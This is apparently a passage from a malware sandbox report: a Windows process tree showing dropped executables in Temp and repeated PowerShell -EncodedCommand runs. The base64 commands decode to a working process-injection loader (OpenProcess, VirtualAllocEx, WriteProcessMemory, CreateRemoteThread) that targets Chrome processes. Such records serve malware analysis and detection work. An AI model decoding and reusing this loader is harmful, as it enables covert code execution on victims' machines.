QApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:5208
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:3744
                                                                                                                                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADMANwA0ADQAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADYARAA0ADIALgB0AG0AcAAnADsAIAA=
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:640
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:4352
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ff85f01dcf8,0x7ff85f01dd04,0x7ff85f01dd10
                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                      PID:4724
                                                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADQAMwA1ADIAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADcAOAAwADEALgB0AG0AcAAnADsAIAA=
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:6100
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:6228
                                                                                                                                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADYAMgAyADgAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgAOABDAEIALgB0AG0AcAAnADsAIAA=
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:6388
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:6584
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf4,0xf8,0xfc,0xd0,0x100,0x7ff85f01dcf8,0x7ff85f01dd04,0x7ff85f01dd10
                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                PID:6220
                                                                                                                                                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADYANQA4ADQAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADkAMwBDADgALgB0AG0AcAAnADsAIAA=
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:6976
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\10117760101\f88461605d.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\10117760101\f88461605d.exe"
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:5356
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\10117780101\random2.exe
                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\10117780101\random2.exe"
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:4764
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\10117790101\ffd2da0872.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\10117790101\ffd2da0872.exe"
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                    PID:3796
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:2256
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\10117800101\qd4dOFD.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\10117800101\qd4dOFD.exe"
                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                        PID:1336
                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                            PID:5260
                                                                                                                                                                                                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADUAMgA2ADAAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgAMwA0AC4AdABtAHAAJwA7ACAAJABmAHIAYQBnAG0AZQBuAHQAcwAgAD0AIABAACgAJwBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuACcALAAnAGkAdABpAG8AbgAgAEAAIgAKAHUAcwBpAG4AZwAgAFMAeQBzACcALAAnAHQAZQBtADsAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAJwAsACcAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQAnACwAJwBjAGUAcwA7AAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIAAnACwAJwBYAHsAIABjAG8AbgBzAHQAIAB1AGkAbgB0ACAAQQA9ADAAeAAwACcALAAnADAAMAAyACwAQgA9ADAAeAAwADQAMAAwACwAQwA9ADAAeAAwADAAJwAsACcAMAA4ACwARAA9ADAAeAAwADAAMgAwACwARQA9ADAAeAAwADAAMQAnACwAJwAwADsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgAnACwAJwBuAGUAbAAzADIAIgApAF0AcwB0AGEAdABpAGMAIABlAHgAdABlACcALAAnAHIAbgAgAEkAbgB0AFAAdAByACAATwBwAGUAbgBQAHIAbwBjAGUAJwAsACcAcwBzACgAdQBpAG4AdAAgAHgALABiAG8AbwBsACAAeQAsAHUAaQAnACwAJwBuAHQAIAB6ACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAnACwAJwAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgACcALAAnAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAEkAbgB0AFAAdAByACAAeAApADsACgBbAEQAJwAsACcAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIAIgAnACwAJwApAF0AcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0ACcALAAnAFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMARQB4ACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQAnACwAJwBpAG4AdAAgAHoALAB1AGkAbgB0ACAAYQAsAHUAaQBuAHQAIABiACcALAAnACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAAYgBvAG8AbAAgAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwAnACwAJwBzAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIAB4ACwASQBuACcALAAnAHQAUAB0AHIAIAB5ACwAYgB5AHQAZQBbAF0AIAB6ACwAdQBpAG4AJwAsACcAdAAgAGEALABvAHUAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsAJwAsACcARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAnACwAJwAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvACcALAAnAG8AbAAgAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAAnACwAJwBVAEkAbgB0AFAAdAByACAAegAsAHUAaQBuAHQAIABhACwAbwB1ACcALAAnAHQAIAB1AGkAbgB0ACAAYgApADsACgBbAEQAbABsAEkAbQBwACcALAAnAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIAIgApAF0AcwB0AGEAJwAsACcAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABGAGwAdQAnACwAJwBzAGgASQBuAHMAdAByAHUAYwB0AGkAbwBuAEMAYQBjAGgAZQAoACcALAAnAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsAFUAJwAsACcASQBuAHQAUAB0AHIAIAB6ACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDACcALAAnAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoAEkAJwAsACcAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsAHUAaQAnACwAJwBuAHQAIAB6ACwASQBuAHQAUAB0AHIAIABhACwASQBuAHQAUAB0ACcALAAnAHIAIABiACwAdQBpAG4AdAAgAGMALABJAG4AdABQAHQAcgAgAGQAJwAsACcAKQA7AAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGIAJwAsACcAbwBvAGwAIABSACgAdQBpAG4AdAAgAHAALABiAHkAdABlAFsAXQAnACwAJwAgAGQAKQB7AEkAbgB0AFAAdAByACAAaAA9AE8AcABlAG4AUAByACcALAAnAG8AYwBlAHMAcwAoAEEAfABCAHwAQwB8AEQAfABFACwAZgBhAGwAJwAsACcAcwBlACwAcAApADsACgBpAGYAKABoAD0APQBJAG4AdABQAHQAJwAsACcAcgAuAFoAZQByAG8AKQByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQAnACwAJwA7AEkAbgB0AFAAdAByACAAbQA9AFYAaQByAHQAdQBhAGwAQQBsACcALAAnAGwAbwBjAEUAeAAoAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8AJwAsACcALAAoAHUAaQBuAHQAKQBkAC4ATABlAG4AZwB0AGgALAAwAHgAMwAnACwAJwAwADAAMAB8ADAAeAAyADAAMAAwACwAMAB4ADQAMAApADsACgAnACwAJwBpAGYAKABtAD0APQBJAG4AdABQAHQAcgAuAFoAZQByAG8AKQB7ACcALAAnAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAJwAsACcAcgBuACAAZgBhAGwAcwBlADsAfQB1AGkAbgB0ACAAbwA7ACAAaQAnACwAJwBmACgAIQBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQARQB4ACcALAAnACgAaAAsAG0ALAAoAFUASQBuAHQAUAB0AHIAKQBkAC4ATABlAG4AJwAsACcAZwB0AGgALAAwAHgANAAwACwAbwB1AHQAIABvACkAKQB7AEMAbAAnACwAJwBvAHMAZQBIAGEAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACcALAAnACAAZgBhAGwAcwBlADsAfQAKAHUAaQBuAHQAIAB3ADsAaQBmACcALAAnACgAIQBXAHIAaQB0AGUAUAByAG8AYwBlAHMAcwBNAGUAbQBvAHIAJwAsACcAeQAoAGgALABtACwAZAAsACgAdQBpAG4AdAApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsAG8AdQB0ACAAdwApACkAewBDAGwAbwBzAGUASABhACcALAAnAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAJwAsACcAZQA7AH0ACgBpAGYAKAAhAEYAbAB1AHMAaABJAG4AcwB0AHIAJwAsACcAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAaAAsAG0ALAAoAFUASQAnACwAJwBuAHQAUAB0AHIAKQBkAC4ATABlAG4AZwB0AGgAKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoASQBuAHQAUAB0AHIAIAB0AD0AJwAsACcAQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQAKAAnACwAJwBoACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAMAAsAG0ALABJACcALAAnAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwASQBuAHQAUAB0AHIAJwAsACcALgBaAGUAcgBvACkAOwAKAGkAZgAoAHQAPQA9AEkAbgB0AFAAJwAsACcAdAByAC4AWgBlAHIAbwApAHsAQwBsAG8AcwBlAEgAYQBuAGQAbAAnACwAJwBlACgAaAApADsAcgBlAHQAdQByAG4AIABmAGEAbABzAGUAOwB9ACcALAAnAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAJwAsACcAcgBuACAAdAByAHUAZQA7AH0AfQAKACIAQAAgAC0ATABhAG4AJwAsACcAZwB1AGEAZwBlACAAQwBTAGgAYQByAHAACgAkAGQAPQBbAEMAJwAsACcAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANAAnACwAJwBTAHQAcgBpAG4AZwAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACcALAAnACAALQBSAGEAdwAgACQAYgApACkACgBbAFgAXQA6ADoAUgAoACcALAAnAFsAdQBpAG4AdAAzADIAXQAkAGEALAAkAGQAKQAnACkAOwAgACQAcwBjAHIAaQBwAHQAIAA9ACAAJABmAHIAYQBnAG0AZQBuAHQAcwAgAC0AagBvAGkAbgAgACcAJwA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABzAGMAcgBpAHAAdAA=
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:3732
                                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                                                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\evrhsdc5\evrhsdc5.cmdline"
                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                  PID:1180
                                                                                                                                                                                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES402C.tmp" "c:\Users\Admin\AppData\Local\Temp\evrhsdc5\CSCB1C8832405F41A7B3375E89DC487872.TMP"
                                                                                                                                                                                                                                                    8⤵
                                                                                                                                                                                                                                                      PID:652
                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:1172
                                                                                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                    C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADEAMQA3ADIAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADEANgBGAEEALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAY